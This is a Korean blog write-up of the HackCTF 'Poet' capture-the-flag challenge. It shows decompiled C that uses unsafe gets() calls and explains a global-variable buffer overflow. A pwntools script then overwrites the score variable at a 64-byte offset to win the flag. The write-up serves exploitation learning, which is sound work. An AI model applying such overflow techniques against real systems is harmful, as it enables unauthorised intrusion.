본문 바로가기
시스템 해킹/CTF

[HackCTF] Poet

by L3m0n S0ju 2021. 9. 21.

__int64 get_poem()
{
  __int64 result; // rax

  printf("Enter :\n> ");
  result = gets(poem);
  dword_6024E0 = 0;
  return result;
}

 

__int64 get_author()
{
  printf(&byte_400C38);
  return gets(&unk_6024A0);
}

 

int rate_poem()
{
  char dest[1032]; // [rsp+0h] [rbp-410h] BYREF
  char *s1; // [rsp+408h] [rbp-8h]

  strcpy(dest, poem);
  for ( s1 = strtok(dest, " \n"); s1; s1 = strtok(0LL, " \n") )
  {
    if ( !strcmp(s1, "ESPR")
      || !strcmp(s1, "eat")
      || !strcmp(s1, "sleep")
      || !strcmp(s1, "pwn")
      || !strcmp(s1, "repeat")
      || !strcmp(s1, "CTF")
      || !strcmp(s1, "capture")
      || !strcmp(s1, "flag") )
    {
      dword_6024E0 += 100;
    }
  }
  return printf(asc_400BC0, poem, (unsigned int)dword_6024E0);
}

 

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi

  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = s;
  puts(s);
  while ( 1 )
  {
    get_poem(v3);
    get_author(v3);
    rate_poem(v3);
    if ( dword_6024E0 == 1000000 )
      break;
    v3 = asc_400D78;
    puts(asc_400D78);
  }
  reward(v3);
}

 

 

 


 

 

 

 

코드를 살펴보면 get_poem함수에서 gets로 0x6020a0에 문자열을 입력받고 get_author 함수에서 0x6024a0에 문자열을 입력받는다. 플래그를 획득하려면 0x6024e0에 있는 값이 1000000이 되어야 한다. 0x6024e0은 get_author에서 입력하는 0x6024a0과 64만큼 차이나므로 버퍼오버플로우 공격을 시도한다.

 

 

 

 

 


from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3012)

r.recvuntil(b"> ")
r.sendline(b"hello")
r.recvuntil(b"> ")
payload=b"a"*64+p64(1000000)
r.sendline(payload)
r.interactive()

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] RTL_ World  (0) 2021.09.19
[HackCTF] Yes or no  (0) 2021.09.14
[HackCTF] BOF_PIE  (0) 2021.09.14
[HackCTF] Offset  (0) 2021.09.14
[HackCTF] Simple_Overflow_ver_2  (0) 2021.09.13

댓글